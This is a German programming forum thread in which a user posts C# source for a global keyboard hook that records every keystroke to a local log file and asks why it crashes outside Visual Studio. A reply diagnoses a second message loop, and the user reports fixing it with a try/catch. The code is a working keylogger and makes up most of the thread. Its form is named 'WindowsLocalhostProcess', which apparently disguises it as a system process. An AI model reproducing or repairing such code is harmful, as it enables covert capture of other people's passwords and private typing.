Microsoft.NET Framework Error

08/15/2015 10:55 Zocker1#1
Hab ein recht simples Programm in VS Express 2015 geschrieben.
Es soll die Tastenanschläge in ein txt-file speichern.

Beim Debuggen in VS gibs keine Probleme, jedoch wenn ich die .exe außerhalb von VS ausführ dann bekomme ich eine Fehlermeldung.


Fehlermeldung:

Jedoch kann ich mit der Fehlermeldung nichts anfangen und Google konnte mir auch nicht weiterhelfen.

Hier das Programm:
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsFormsApplication11
{
    public partial class WindowsLocalhostProcess : Form
    {


        public WindowsLocalhostProcess()
        {
            InitializeComponent();
        }
           
       
        private static IntPtr _hookID = IntPtr.Zero;
        

        private void WindowsLocalhostProcess_Load(object sender, EventArgs e)
        {            
            _hookID = SetHook(HookCallback);
            Application.Run();
            UnhookWindowsHookEx(_hookID);            
        }



        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);


        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)0x0100)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
                sw.Write((Keys)vkCode);
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }





        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(13, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }





        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);


    }
}

Bitte um Hilfe.
mfG
08/15/2015 11:28 warfley#2
Quote:
System.InvalidOperationException: Das Starten einer zweiten Meldungsschleife auf einem einzelnen Thread ist ein ungültiger Vorgang.
Daher schätze ich es liegt am Application.Run();

Diese .Net Fehlermeldungen sind echt nicht schwer zu verstehen, da hättest du selbst drauf kommen können

PS: Sieht so aus als hättest du die Debug executable ausgeführt, bau dein Projekt als Release wenn du es ohne Debugger nutzen willst
08/15/2015 13:00 Zocker1#3
Danke für die schnelle Antwort.

Was meinst du mit es liegt am Application.Run()?

Als Release bekomm ich die gleiche Fehlermeldung

Hab einfach try catch gemacht und jetzt klappts

Danke für die Hilfe und ein schönes Wochenende :)